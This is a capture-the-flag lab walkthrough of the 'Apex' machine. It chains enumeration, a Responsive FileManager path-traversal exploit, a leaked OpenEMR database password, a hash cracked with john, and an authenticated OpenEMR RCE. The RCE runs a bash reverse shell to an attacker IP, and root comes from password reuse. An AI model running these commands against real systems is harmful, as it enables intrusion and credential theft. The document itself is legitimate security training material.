Apex walkthrough

Walkthrough

Attacker's Machine: 192.168.45.5
Victim's Machine: 192.168.204.145
export IP=192.168.204.145

```
nmap -Pn -p- -n --min-rate 1000 $IP --stats-every=5s
```

80/tcp open http
445/tcp open microsoft-ds
3306/tcp open mysql

```
nmap -Pn -n -sC -sV -p80,445,3306 $IP --open --stats-every=5s -oN results.txt
```

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: APEX Hospital
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
Service Info: Host: APEX

```
nmap -sU -n -Pn $IP --top-ports=100 --stats-every=5s --min-rate 1000
```

```
<!-- nothing -->
```

Vulnerability Assessment

```
nmap -n $IP -p 80 -sV --script vuln --stats-every=5s
```

| http-enum:
| /filemanager/: Potentially interesting folder
|_ /source/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

```
nikto --url $IP
```

Port 445

```
enum4linux -a $IP
```

docs Disk Documents
users: white

Download all files recursively. So far, nothing too interesting with these files, might have to come back to them later on.
smbget -R smb://$IP/docs
OpenEMR Success Stories.pdf
OpenEMR Features.pdf

Port 80 Enumeration
http://192.168.204.145/openemr/interface/login/login.php?site=default # Login page
http://192.168.204.145/filemanager/ # Responsive filemanager

By clickcking on the ? icon on top right, we can see that the version is RESPONSIVE filemanager v.9.13.4

searchsploit responsive filemanager
Exploit Title | Path Responsive FileManager 9.13.4 - 'path' Path Traversal | php/webapps/49359.py

python3 49359.py http://192.168.204.145:80 PHPSESSID=nln0084d033b2f6127sejh5kpc /etc/passwd
root:x:0:0:root:/root:/bin/bash
white:x:1000:1000::/home/white:/bin/sh

Great, it works, not that we have path traversal, let's try to access some configuration files.
Important thing. Notice that when you run the exploit, a copy of the file of /etc/passwd was placed inside the http://192.168.204.145/source/ directory. But since we cannot view the php configuration files directly, we need to find another way to receive the files. If you check the Documents folder, you will notice that is the contents of it is the same as the ones from SMB, so we can deduce the if you manage to redirect your files to this folder, we will be able the download them afterwards using the smbclient.

Change the line 36 to redirect the file to be saved on the docs folder in SMB.

```
def paste_clipboard(url, session_cookie):
headers = {'Cookie': session_cookie,'Content-Type': 'application/x-www-form-urlencoded'}
url_paste = "%s/filemanager/execute.php?action=paste_clipboard" % (url)
r = requests.post(
url_paste, data="path=/Documents/", headers=headers)
```

```
return r.status_code

# Now we need to find common or default configuration files for Openemr and their specific path.
https://github.com/openemr/openemr/tree/master/sites/default
openemr/sites/default/
clickoptions.txt
config.php
docker-version
faxcover.txt
faxtitle.eps
referral_template.html
sqlconf.php
statement.inc.php

# Try different paths such as /var/www/html or /var/www

python3 49359.py http://192.168.204.145:80 PHPSESSID=nln0084d033b2f6127sejh5kpc /var/www/openemr/sites/default/sqlconf.php

# Switch back to smb and retrieve the sqlconf.php file
smbclient //$IP/docs -N
dir

passwd N 1607 Mon Apr 10 16:42:33 2023
sqlconf.php N 639 Mon Apr 10 17:00:13 2023
OpenEMR Success Stories.pdf A 290738 Fri Apr 9 11:47:12 2021
OpenEMR Features.pdf A 490355 Fri Apr 9 11:47:12 2021
get sqlconf.php
cat sqlconf.php
<?php
// OpenEMR
// MySQL Config
$host = 'localhost';
```

```
$port = '3306';
$login = 'openemr';
$pass = 'C78maEQUIEuQ';
$dbase = 'openemr';

# Let's connect to the DB

mysql -u openemr -p -h $IP

Enter password: C78maEQUIEuQ

show databases;
use openemr;
show tables;
select * from users; # nothing usefull
select * from users_secure;

admin | $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC

nano hash.txt
$2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
thedoctor

# Click on the top tab called About and notice that we are dealing with Version Number: v5.0.1
# Now that we have credentials, let's search for Openemr exploit. https://www.exploit-db.com/exploits/45161

OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py
nc -lvnp 4444
python2 45161.py -u admin -p thedoctor -c '/bin/bash -i >& /dev/tcp/192.168.45.5/4444 0>&1' http://192.168.204.145/openemr/
Got shell!
```

cat /home/white/local.txt # Flag: 8e197f2b2b86659a686bc3ba76b6c70e

Privilege escalation

```
# Password reuse for the win
su root
password: C78maEQUIEuQ
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/proof.txt # Flag: a011ab7ca995712c55512bfa620a4d1d
```